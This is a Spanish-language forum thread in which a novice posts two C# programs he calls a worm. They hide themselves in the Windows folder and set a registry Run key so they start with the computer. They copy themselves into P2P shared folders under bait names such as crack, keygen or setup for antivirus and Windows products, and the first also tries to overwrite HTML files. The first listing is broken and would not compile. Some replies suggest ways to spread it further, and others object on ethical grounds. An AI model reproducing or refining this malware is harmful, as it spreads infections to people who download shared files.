Foro de elhacker.net

Programación => .NET (C#, VB.NET, ASP) => Mensaje iniciado por: ArMaGgEdOn2012 en 16 Enero 2010, 17:54 pm


Título: Mi Pequeño Programa
Publicado por: ArMaGgEdOn2012 en 16 Enero 2010, 17:54 pm
Hola. Este es mi primer mensaje.
Escribí este tema para presentar un pequeño programa que hice yo en C#.
Soy un novato, así que no lo llamaré virus, pues no se puede considerar virus, aunque tiene principio de worm. Un "virus" más completo está en ciernes.
Lo que hace este virus es copiarse en todas las carpetas de todos los programas P2P y del windows, con el nombre CrackKaspersky2010.exe; se copia también, con una codificación basada en que desde el caracter 48 hasta el 127 suma 80 en el código del programa, en todos los archivos HTM del disco duro "C:\":
Código
  1. /* 
  2. * Ejemplo muy fácil de virus
  3. *
  4. * 16-1-10 -> 17:21
  5. *
  6. * Hecho en C#
  7. *
  8. * By ArMaGeDdOn2012
  9. */
  10.  
  11. using System;
  12. using System.Collections.Generic;
  13. // Prescindibles si lo haces en consola
  14. using System.ComponentModel;
  15. using System.Data;
  16. using System.Drawing;
  17. // El Siguiente es necesario para consola (no necesario pero te ahorra tiempo)
  18. using System.Text;
  19. // A partir de aquí, prescindibles
  20. using System.Windows.Forms;
  21. using System.IO;
  22.  
  23. namespace WindowsApplication1
  24. {
  25.     public partial class Form1 : Form
  26.     {
  27.         public Form1()
  28.         {
  29.             InitializeComponent();
  30.         }
  31.  
  32.         private void Form1_Load(object sender, EventArgs e)
  33.         {
  34.             Copiar();
  35.         }
  36.         public void Copiar()
  37.         {
  38.             string path = Application.ExecutablePath;
  39.             string path2 = @"C:\Windows\CrackKaspersky2010.exe";
  40.             string path3 = @"C:\Program Files\Grokster\My Grokster\";
  41.             string path4 = @"C:\Program Files\Morpheus\My Shared Folder\";
  42.             string path5 = @"C:\Program Files\ICQ\shared files\";
  43.             string path6 = @"C:\Program Files\KaZaA\My Shared Folder\";
  44.             string path7 = @"C:\Program Files\KaZaA Lite\My Shared Folder\";
  45.             string path8 = @"C:\Program Files\EDONKEY2000\incoming\";
  46.             string path9 = @"C:\Program Files\eMule\Incoming\";
  47.             string path10 = @"C:\Program Files\Filetopia3\Files\";
  48.             string path11 = @"C:\Program Files\appleJuice\incoming\";
  49.             string path12 = @"C:\Program Files\Gnucleus\Downloads\";
  50.             string path13 = @"C:\Program Files\LimeWire\Shared\";
  51.             string path14 = @"C:\Program Files\Overnet\incoming\";
  52.             string path15 = @"C:\Program Files\Shareaza\Downloads\";
  53.             string path16 = @"C:\Program Files\Swaptor\Download\";
  54.             string path17 = @"C:\Program Files\WinMX\My Shared Folder\";
  55.             string path18 = @"C:\Program Files\Tesla\Files\";
  56.             string path19 = @"C:\Program Files\XoloX\Downloads\";
  57.             string path20 = @"C:\Program Files\Rapigator\Share\";
  58.             string path21 = @"C:\Program Files\KMD\My Shared Folder\";
  59.             string path22 = @"C:\Program Files\BearShare\Shared\";
  60.             string path23 = @"C:\Program Files\Direct Connect\Received Files\";
  61.             string path24 = @"C:\Program Files\Ares\My Shared Folder";
  62.  
  63.             File.Move(path, path2);
  64.             //Mueve el archivo a C:\Windows\Worm.exe
  65.             File.SetAttributes(path2, FileAttributes.Hidden);
  66.             //Oculta el archivo
  67.             if (File.Exists(path2))
  68.             {
  69.                 File.Copy(path2, path2);
  70.             }
  71.  
  72.             if (File.Exists(path3))
  73.             {
  74.                 File.Copy(path2, path3);
  75.             }
  76.  
  77.             if (File.Exists(path4))
  78.             {
  79.                 File.Copy(path2, path4);
  80.             }
  81.  
  82.             if (File.Exists(path5))
  83.             {
  84.                 File.Copy(path2, path5);
  85.             }
  86.  
  87.             if (File.Exists(path6))
  88.             {
  89.                 File.Copy(path2, path6);
  90.             }
  91.  
  92.             if (File.Exists(path7))
  93.             {
  94.                 File.Copy(path2, path7);
  95.             }
  96.  
  97.             if (File.Exists(path8))
  98.             {
  99.                 File.Copy(path2, path8);
  100.             }
  101.  
  102.             if (File.Exists(path9))
  103.             {
  104.                 File.Copy(path2, path9);
  105.             }
  106.  
  107.             if (File.Exists(path10))
  108.             {
  109.                 File.Copy(path2, path10);
  110.             }
  111.  
  112.             if (File.Exists(path11))
  113.             {
  114.                 File.Copy(path2, path11);
  115.             }
  116.  
  117.             if (File.Exists(path12))
  118.             {
  119.                 File.Copy(path2, path12);
  120.             }
  121.  
  122.             if (File.Exists(path13))
  123.             {
  124.                 File.Copy(path2, path13);
  125.             }
  126.  
  127.             if (File.Exists(path14))
  128.             {
  129.                 File.Copy(path2, path14);
  130.             }
  131.  
  132.             if (File.Exists(path15))
  133.             {
  134.                 File.Copy(path2, path15);
  135.             }
  136.  
  137.             if (File.Exists(path16))
  138.             {
  139.                 File.Copy(path2, path16);
  140.             }
  141.  
  142.             if (File.Exists(path17))
  143.             {
  144.                 File.Copy(path2, path17);
  145.             }
  146.  
  147.             if (File.Exists(path18))
  148.             {
  149.                 File.Copy(path2, path18);
  150.             }
  151.  
  152.             if (File.Exists(path19))
  153.             {
  154.                 File.Copy(path2, path19);
  155.             }
  156.  
  157.             if (File.Exists(path20))
  158.             {
  159.                 File.Copy(path2, path20);
  160.             }
  161.  
  162.             if (File.Exists(path21))
  163.             {
  164.                 File.Copy(path2, path21);
  165.             }
  166.  
  167.             if (File.Exists(path22))
  168.             {
  169.                 File.Copy(path2, path22);
  170.             }
  171.  
  172.             if (File.Exists(path23))
  173.             {
  174.                 File.Copy(path2, path23);
  175.             }
  176.  
  177.             if (File.Exists(path24))
  178.             {
  179.                 File.Copy(path2, path24);
  180.             }
  181.             /*Este GRAN código comprueba la existencia de las típicas rutas de -> 
  182.              * instalación de los programas P2P */
  183.  
  184.             StreamReader sr = new StreamReader(@"C:\Program Files\Windows\CrackKaspersky2010.exe");
  185.             String line;
  186.             while ((line = sr.ReadLine()) != null)
  187.             {
  188.                 String read = sr.ToString;
  189.                 read.Replace('\u0048', '\u0128');
  190.                 read.Replace('\u0049', '\u0129');
  191.                 read.Replace('\u0050', '\u0130');
  192.                 read.Replace('\u0051', '\u0131');
  193.                 read.Replace('\u0052', '\u0132');
  194.                 read.Replace('\u0053', '\u0133');
  195.                 read.Replace('\u0054', '\u0134');
  196.                 read.Replace('\u0055', '\u0135');
  197.                 read.Replace('\u0056', '\u0136');
  198.                 read.Replace('\u0057', '\u0137');
  199.                 read.Replace('\u0058', '\u0138');
  200.                 read.Replace('\u0059', '\u0139');
  201.                 read.Replace('\u0060', '\u0140');
  202.                 read.Replace('\u0061', '\u0141');
  203.                 read.Replace('\u0062', '\u0142');
  204.                 read.Replace('\u0063', '\u0143');
  205.                 read.Replace('\u0064', '\u0144');
  206.                 read.Replace('\u0065', '\u0145');
  207.                 read.Replace('\u0066', '\u0146');
  208.                 read.Replace('\u0067', '\u0147');
  209.                 read.Replace('\u0068', '\u0148');
  210.                 read.Replace('\u0069', '\u0149');
  211.                 read.Replace('\u0070', '\u0150');
  212.                 read.Replace('\u0071', '\u0151');
  213.                 read.Replace('\u0072', '\u0152');
  214.                 read.Replace('\u0073', '\u0153');
  215.                 read.Replace('\u0074', '\u0154');
  216.                 read.Replace('\u0075', '\u0155');
  217.                 read.Replace('\u0076', '\u0156');
  218.                 read.Replace('\u0077', '\u0157');
  219.                 read.Replace('\u0078', '\u0158');
  220.                 read.Replace('\u0079', '\u0159');
  221.                 read.Replace('\u0080', '\u0160');
  222.                 read.Replace('\u0081', '\u0161');
  223.                 read.Replace('\u0082', '\u0162');
  224.                 read.Replace('\u0083', '\u0163');
  225.                 read.Replace('\u0084', '\u0164');
  226.                 read.Replace('\u0085', '\u0165');
  227.                 read.Replace('\u0086', '\u0166');
  228.                 read.Replace('\u0087', '\u0167');
  229.                 read.Replace('\u0088', '\u0168');
  230.                 read.Replace('\u0089', '\u0169');
  231.                 read.Replace('\u0090', '\u0170');
  232.                 read.Replace('\u0091', '\u0171');
  233.                 read.Replace('\u0092', '\u0172');
  234.                 read.Replace('\u0093', '\u0173');
  235.                 read.Replace('\u0094', '\u0174');
  236.                 read.Replace('\u0095', '\u0175');
  237.                 read.Replace('\u0096', '\u0176');
  238.                 read.Replace('\u0097', '\u0177');
  239.                 read.Replace('\u0098', '\u0178');
  240.                 read.Replace('\u0099', '\u0179');
  241.                 read.Replace('\u0100', '\u0180');
  242.                 read.Replace('\u0101', '\u0181');
  243.                 read.Replace('\u0102', '\u0182');
  244.                 read.Replace('\u0103', '\u0183');
  245.                 read.Replace('\u0104', '\u0184');
  246.                 read.Replace('\u0105', '\u0185');
  247.                 read.Replace('\u0106', '\u0186');
  248.                 read.Replace('\u0107', '\u0187');
  249.                 read.Replace('\u0108', '\u0188');
  250.                 read.Replace('\u0109', '\u0189');
  251.                 read.Replace('\u0110', '\u0190');
  252.                 read.Replace('\u0111', '\u0191');
  253.                 read.Replace('\u0112', '\u0192');
  254.                 read.Replace('\u0113', '\u0193');
  255.                 read.Replace('\u0114', '\u0194');
  256.                 read.Replace('\u0115', '\u0195');
  257.                 read.Replace('\u0116', '\u0196');
  258.                 read.Replace('\u0117', '\u0197');
  259.                 read.Replace('\u0118', '\u0198');
  260.                 read.Replace('\u0119', '\u0199');
  261.                 read.Replace('\u0120', '\u0200');
  262.                 read.Replace('\u0121', '\u0201');
  263.                 read.Replace('\u0122', '\u0202');
  264.                 read.Replace('\u0123', '\u0203');
  265.                 read.Replace('\u0124', '\u0204');
  266.                 read.Replace('\u0125', '\u0205');
  267.                 read.Replace('\u0126', '\u0206');
  268.                 read.Replace('\u0127', '\u0207');
  269.  
  270.                  //******************************************//
  271.                  //******************************************//
  272. 		/*
  273. 		* Esto da las pautas para la sustitución de caracteres
  274. 		*/
  275.                 DirectoryInfo d1 = new DirectoryInfo(@"C:\");
  276.                 FileInfo f1;
  277.         GOTOAAAA:
  278.                 foreach (f1 in d1.GetFiles("*.htm"))
  279.                 {
  280.                     if (d1.Exists())
  281.                     {
  282.                         d1.Delete();
  283.                     }
  284.                     using (FileStream fs = File.Create)
  285.                     {
  286.                         fs.Write(read);
  287.                     }
  288.                 }
  289.                 foreach (DirectoryInfo d2 in d1.GetDirectories())
  290.                 {
  291.                     d1 += d2;
  292.                     goto GOTOAAAA;
  293.                 }
  294. 		//Esto sustituye los archivos *.htm del disco C:
  295.             }
  296.         }
  297.     }
  298. }
  299.  
PD: El código fuente ocupa 11KB, compilado no sé xD

Título: Re: Mi Pequeño Programa
Publicado por: diego_lp en 16 Enero 2010, 18:12 pm
Hola, felicitaciones  :)
Solo un comentario, no has pensado en usar bocles en lugar de escribir tanto codigo?
Por ejemplo podrias usar un for en los condicionales  if (File.Exists(path2))
                                                                                                  {
                                                                                                   File.Copy(path2, path2);
                                                                                                   }
                                                                                                   ...
Te ahorrarias mucho codigo, no te parece?  :xD

Felicitaciones de nuevo, espero que sea solo un ejercicio  :rolleyes: jeje
Saludos

Título: Re: Mi Pequeño Programa
Publicado por: ArMaGgEdOn2012 en 16 Enero 2010, 18:31 pm
Gracias. Me lo apunto para el siguiente.
Lo que no entiendo (entiendo parcialmente) es el bucle for, pues el while lo entiendo.
Aparte, también tuve que echarle algo de imaginación, pues no existen claros ejemplos de virus en c#

Título: Re: Mi Pequeño Programa
Publicado por: seba123neo en 16 Enero 2010, 18:53 pm
no me digan que los de microsoft se rompieron la cabeza inventando C# para hacer este tipo de programas, va con onda, pero en serio basta de estas tonterias...

saludos.

Título: Re: Mi Pequeño Programa
Publicado por: ArMaGgEdOn2012 en 16 Enero 2010, 19:06 pm
Vamos por partes:
    1º
Los de Microsoft no se rompieron la cabeza creando c#, pues la mayoría ya     estaba de C++ y Java

    2º
Yo creo que tiene mérito que sepa programar esto, pues en el libro de Tecn. de mi clase aún enseñan a encender el ordenador y a arrastrar ventanas.

    3º
Ya dije que el programa sólo era un prototipo de lo que puede ser un posible virus decente (paciencia, paciencia ... xD).

    4º
Este tema lo puse para que, al igual que diego_lp, pongan comentarios constructivos.

Título: Re: Mi Pequeño Programa
Publicado por: Keyen Night en 16 Enero 2010, 20:09 pm
Primero hay que tomar en cuenta que el nombre del foro es foro.elhacker.net creo que ya eso es suficiente para que no podemos quejarnos de los malwares que se escriban aqui, a menos de que seamos tan estupidos como para infectarnos entre nosotros mismos :¬¬
Bueno el code está bien pero habria una forma más limpia de hacerlo y está sería recorriendo todas las carpetas de archivos de programas y copiarnos en todas las subcarpetas, aunque infectariamos más de lo que queremos habriamos infectado todo con menos codigo, tambien puedes agregar el atributo System a los archivos además de Hidden...

Título: Re: Mi Pequeño Programa
Publicado por: raul338 en 16 Enero 2010, 21:30 pm
Se ve que necesitas aprender, solo eso te falta, las ideas y la "Intencion" ya las tienes, cuando te des cuenta, ese codigo podra ser corregido y minimizado. Aunque es un buen intento, pero aun te falta camino por recorrer  ;)

Lo unico que no entiendo (capaz que lo inventaste vos :xD) es esto:
Código
  1. GOTOAAAA:
  2.  
no existe el GoTo en C# (lol)

Título: Re: Mi Pequeño Programa
Publicado por: nico56 en 17 Enero 2010, 00:24 am
Creo que te equivocas de lugar, un Hacker es una persona que trabaja en la seguridad informática, una persona que esta al pedo frente al pc y hace un virus porque ya se aburrió de ver pornografía y quiere molestar a los demás es un Kacker.

Título: Re: Mi Pequeño Programa
Publicado por: skapunky en 17 Enero 2010, 03:07 am
Un "hacker" no tiene porque hacer virus, eso solo sale en las películas  :xD. El tema de los virus bajo mi punto de vista es algo aparte y la gente que los hace puede tener motívos muy diversos.

Yo personalmente si he programado virus, pero par ver el funcionamiento y probar la efectividad de estos y sus rutinas y siempre en entornos cerrados o por ejemplo virtualizados.

Otra cosa muy diferente es la gente que se dedica a fastidiar y por hacer un "virus" se cree la leche con colacao...

Por otra parte no matizaré con el nombre de esta comunidad elhacker.net, pero por tener la palabra hacker no quiere decir que se permítan actividades de dudosa o nula ética o legalidad.

Título: Re: Mi Pequeño Programa
Publicado por: isseu en 17 Enero 2010, 03:18 am
Cita de: nico56 en 17 Enero 2010, 00:24 am
Creo que te equivocas de lugar, un Hacker es una persona que trabaja en la seguridad informática, una persona que esta al pedo frente al pc y hace un virus porque ya se aburrió de ver pornografía y quiere molestar a los demás es un Kacker.

te faltaron algunas comas o puntos creo...



Título: Re: Mi Pequeño Programa
Publicado por: junxcosio en 17 Enero 2010, 10:33 am
Esta bien... lo unico como ya te han dicho demasiados if que hacen lo mismo mas o menos...
Código
  1. string[] path={aqui pones todas tus rutas}
  2. for (int i=0;i<path.length;i++)
  3. {
  4.        if (File.Exists(path[i]))
  5.        {
  6.              File.Copy(path[1], path[i]);
  7.        }
  8. }
  9.  

y el tema goto GOTOAAAA; puffffffffffff chungo en mi opinion... el tema de los goto quitalo... aunque sea muy comodo busca otra manera con bucles... con funciones... con lo que sea menos goto...

Título: Re: Mi Pequeño Programa
Publicado por: ArMaGgEdOn2012 en 20 Enero 2010, 19:20 pm
Bueno, otro código.
Esta vez se copia en las mismas carpetas, con nombres aleatorios.
Tambien se inicia con el pc
En fin
Código
  1. /**********************************************************************************************************************/
  2. /*                                                                                                                    */
  3. /* Pequeño ejemplo de programa autocopiable, que se inicia con el PC, y que se copia a carpetas P2P y a la de Windows */
  4. /*                                                                                                                    */
  5. /*                      Posee un pequeño trozo de código de generador de nombres "aleatorios"                         */
  6. /*                                                                                                                    */
  7. /*           Estoy intentando añadir algo que realmente cause daño (no estoy intentando ponerlo en práctica)          */
  8. /*                                                                                                                    */
  9. /*                          CopyRight 2010 ArMaGgEdOn2012 (Pendiente de Patente xDxD)                                 */
  10. /*                                                                                                                    */
  11. /*           PosData: La violación del CopyRight puede generar encontronazos inesperados con la SGAE                  */
  12. /*                                                                                                                    */
  13. /**********************************************************************************************************************/
  14.  
  15. using System;
  16. using System.Collections.Generic;
  17. using System.ComponentModel;
  18. using System.Data;
  19. using System.Drawing;
  20. using System.Text;
  21. using System.Windows.Forms;
  22. using System.IO;
  23.  
  24. namespace WindowsApplication1
  25. {
  26.     public partial class Form1 : Form
  27.     {
  28.         public Form1()
  29.         {
  30.             InitializeComponent();
  31.         }
  32.  
  33.         private void Form1_Load(object sender, EventArgs e)
  34.         {
  35. 	     //  Ver Abajo
  36.              Metodos.Copiar();   
  37.         }
  38.     }
  39.  
  40.     class Metodos
  41.     {
  42.         static public void Copiar()
  43.         {
  44.             string[] Paths = 
  45.                 {
  46.                     @"C:\Windows\mswbootser.exe",
  47.  
  48. 		    // ^ Esto es modificable
  49. 		    // v Rutas de descargas de los programas P2P
  50.  
  51.                     @"C:\Program Files\Grokster\My Grokster\",
  52.                     @"C:\Program Files\Morpheus\My Shared Folder\",
  53.                     @"C:\Program Files\ICQ\shared files\",
  54.                     @"C:\Program Files\KaZaA\My Shared Folder\",
  55.                     @"C:\Program Files\KaZaA Lite\My Shared Folder\",
  56.                     @"C:\Program Files\EDONKEY2000\incoming\",
  57.                     @"C:\Program Files\eMule\Incoming\",
  58.                     @"C:\Program Files\Filetopia3\Files\",
  59.                     @"C:\Program Files\appleJuice\incoming\",
  60.                     @"C:\Program Files\Gnucleus\Downloads\",
  61.                     @"C:\Program Files\LimeWire\Shared\",
  62.                     @"C:\Program Files\Overnet\incoming\",
  63.                     @"C:\Program Files\Shareaza\Downloads\",
  64.                     @"C:\Program Files\Swaptor\Download\",
  65.                     @"C:\Program Files\WinMX\My Shared Folder\",
  66.                     @"C:\Program Files\Tesla\Files\",
  67.                     @"C:\Program Files\XoloX\Downloads\",
  68.                     @"C:\Program Files\Rapigator\Share\",
  69.                     @"C:\Program Files\KMD\My Shared Folder\",
  70.                     @"C:\Program Files\BearShare\Shared\",
  71.                     @"C:\Program Files\Direct Connect\Received Files\",
  72.                     @"C:\Program Files\Ares\My Shared Folder\"
  73.                 };
  74.  
  75.             string RPath = @"SOFTWARE\Microsoft\Windows\CurrentVersion\Run";
  76.             Microsoft.Win32.RegistryKey key;
  77.             key = Microsoft.Win32.Registry.LocalMachine.CreateSubKey(RPath);
  78.             key.SetValue("Virus", Paths[0]);
  79.  
  80. 	    // ^ Crea una entrada en el registro para iniciarse con el ordenador (Con el nombre Virus xDxDxD)
  81. 	    // v Esto comprueba que el programa no esté ya en el ordenador
  82.  
  83.             if (!File.Exists(Paths[0]))
  84.             {
  85.                 File.Move(Application.ExecutablePath, Paths[0]);
  86.                 File.SetAttributes(Paths[0], FileAttributes.System);
  87.                 File.SetAttributes(Paths[0], FileAttributes.ReadOnly);
  88.                 File.SetAttributes(Paths[0], FileAttributes.Hidden);
  89.             }
  90.  
  91. 	    // v Esto copia el archivo en todas las carpetas antes mencionadas
  92.  
  93. 	    for (int i = 1;i < Paths.Length;i++)
  94.             {
  95.                 if (Directory.Exists(Paths[i]))
  96.                 {
  97.                     string path = Paths[i] + GeneradorDeNombresAleatorios();
  98.                     File.Copy(Paths[0], path);
  99.                     File.SetAttributes(path, FileAttributes.System);
  100.                     File.SetAttributes(path, FileAttributes.ReadOnly);
  101.                     File.SetAttributes(path, FileAttributes.Hidden);
  102.                 }
  103.                 i++;
  104.             }
  105.         }
  106.  
  107.         static public string GeneradorDeNombresAleatorios()
  108.         {
  109.  
  110. 	    /*************************************************************************/
  111. 	    /**/                                                                   /**/
  112. 		/*           El Increíble generador de nombres aleatorios                */
  113. 		/**/                                                                   /**/
  114. 		/*          CopyRight 2010 ArMaGgEdOn2012 (Estaba de broma)              */
  115.         /**/                                                                   /**/
  116. 		/*         Elige pseudo - aleatoriamente una matriz de éstas             */
  117. 		/**/                                                                   /**/
  118. 		/* Después, un nombre de la lista seleccionada (pseudo - aleatoriamente) */
  119. 		/**/                                                                   /**/
  120. 		/*             No probé que generase todos los nombres                   */
  121. 		/**/                                                                   /**/
  122. 		/*   PosData: Puede causar daños irreversibles (No te dejarán peor XD)   */
  123. 		/**/                                                                   /**/
  124. 		/*************************************************************************/
  125.  
  126.             string[] Nombre1Cracks = 
  127.                 {
  128.                    "Kaspersky2010",
  129.                    "WinRAR38",
  130.                    "WinZIP7",
  131.                    "WinRAR37",
  132.                    "WRAR37",
  133.                    "WRAR38",
  134.                    "AVIRA8",
  135.                    "AVIRA7",
  136.                    "Kaspersky2009",
  137.                 };
  138.  
  139.             string[] Nombre1Free = 
  140.                 {
  141.                     "WindowsMediaPlayer11",
  142.                     "WMPlayer11",
  143.                     "JohnTheRipper",
  144.                     "JohnRipper",
  145.                     "ODBG",
  146.                     "OllyDBG",
  147.                 };
  148.  
  149.             string[] Nombre1CracksAndOrSerials = 
  150.                 {
  151.                     "ESETNod32Antivirus2010",
  152.                     "ESETN32AV2010",
  153.                     "Norton2009",
  154.                     "Norton2010",
  155.                     "WinCHM",
  156.                     "Nero7",
  157.                     "Nero8",
  158.                     "Nero9",
  159.                     "WindowsVista",
  160.                     "WindowsVistaUltimate",
  161.                     "WindowsVistaHEdition",
  162.                     "WVista",
  163.                     "WXP",
  164.                     "WindowsXP",
  165.                     "Windows7",
  166.                     "W7",
  167.                     "Win7",
  168.                     "WinXP",
  169.                     "WinVista"
  170.                 };
  171.  
  172.             Random random = new Random();
  173.             string Primero = "";
  174.             int AA = random.Next(0, 3);
  175.             switch (AA)
  176.             {
  177.                 case 0:
  178.                     Random random2A = new Random();
  179.                     int random21A = random2A.Next(0, 9);
  180.                     Primero = Nombre1Cracks[random21A];
  181.                     return GeneradorDeNombresDeProgramasDePago(Primero);
  182.  
  183.                 case 1:
  184.                     Random random2B = new Random();
  185.                     int random21B = random2B.Next(0, 6);
  186.                     Primero = Nombre1Free[random21B];
  187.                     return Primero + "Setup.exe";
  188.  
  189.                 case 2:
  190.                     Random random2C = new Random();
  191.                     int random21C = random2C.Next(0, 19);
  192.                     Primero = Nombre1CracksAndOrSerials[random21C];
  193.                     return GeneradorDeNombresDeProgramasDePago(Primero);
  194.             }
  195.             return "";
  196.         }
  197.         static public string GeneradorDeNombresDeProgramasDePago(string Primero)
  198.         {
  199. 	    /*********************************************************************************************************/
  200. 	    /*                                                                                                       */
  201. 	    /* Esta es la segunda parte, donde genera los nombres como 'Crack', 'Setup', 'Keygen' o simplemente nada */
  202. 	    /*                                                                                                       */
  203. 	    /*                          En esta parte no estuve muy sobrado de ideas                                 */
  204. 	    /*                                                                                                       */
  205. 	    /*********************************************************************************************************/
  206.             string[] Nombre2Despues = 
  207.                 {
  208.                     "Crack",
  209.                     "Keygen",
  210.                     "",
  211.                     "Setup"
  212.                 };
  213.  
  214.             string[] Nombre2Antes = 
  215.                 {
  216.                     "Crack",
  217.                     "Keygen",
  218.                     ""
  219.                 };
  220.  
  221.  
  222.             Random random3 = new Random();
  223.             string Segundo;
  224.             int BB = random3.Next(0, 2);
  225.             switch (BB)
  226.             {
  227.                 case 0:
  228.                     Random random4A = new Random();
  229.                     int random41A = random4A.Next(0, 4);
  230.                     Segundo = Nombre2Antes[random41A];
  231.                     return Segundo + Primero + ".exe";
  232.  
  233.                 case 1:
  234.                     Random random4B = new Random();
  235.                     int random41B = random4B.Next(0, 3);
  236.                     Segundo = Nombre2Despues[random41B];
  237.                     return Primero + Segundo + ".exe";
  238.             }
  239.             return "";
  240.         }
  241.     }
  242. }

PD: Los comentarios dan un poco de pena, fallo mío

Título: Re: Mi Pequeño Programa
Publicado por: DragonFire en 30 Enero 2010, 19:32 pm
Cita de: ArMaGgEdOn2012 en 16 Enero 2010, 18:31 pm
Gracias. Me lo apunto para el siguiente.
Lo que no entiendo (entiendo parcialmente) es el bucle for, pues el while lo entiendo.
Aparte, también tuve que echarle algo de imaginación, pues no existen claros ejemplos de virus en c#


¿un que?
JAJAJAJA ya me imagino el resultado de un virus programado en C#, el pobre virus no podria infectar a nadie que no tenga el framework de .net

Título: Re: Mi Pequeño Programa
Publicado por: raul338 en 30 Enero 2010, 20:10 pm
a partir de windows xp sp2 ya viene el .net framework 1.1, en vista el 2.0, y en seven el 3.5 :silbar: asi que..... por que no :P


Powered by SMF 1.1.21 | SMF © 2006-2008, Simple Machines